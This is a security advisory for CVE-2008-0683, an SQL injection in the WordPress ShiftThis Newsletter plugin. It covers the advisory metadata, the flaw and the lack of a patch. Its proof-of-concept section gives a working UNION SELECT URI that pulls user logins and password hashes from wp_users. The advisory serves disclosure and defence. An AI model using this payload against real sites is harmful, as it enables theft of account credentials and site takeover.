WordPress Plugin ShiftThis Newsletter SQL Injection Vulnerability

BID:27586

Info

WordPress Plugin ShiftThis Newsletter SQL Injection Vulnerability

Bugtraq ID: 27586
Class: Input Validation Error
CVE: CVE-2008-0683
Remote: Yes
Local: No
Published: Feb 03 2008 12:00AM
Updated: May 07 2015 05:33PM
Credit: S@BUN discovered this vulnerability.
Vulnerable: ShiftThis ShiftThis Newsletter 0
Not Vulnerable:

Discussion

WordPress Plugin ShiftThis Newsletter SQL Injection Vulnerability

The ShiftThis Newsletter plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Exploit / POC

WordPress Plugin ShiftThis Newsletter SQL Injection Vulnerability

An attacker can exploit this issue via a browser.

The following proof-of-concept URI is available:

http://www.example.com/wp-content/plugins/st_newsletter/shiftthis-preview.php?newsletter=-1/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users

Solution / Fix

WordPress Plugin ShiftThis Newsletter SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

WordPress Plugin ShiftThis Newsletter SQL Injection Vulnerability

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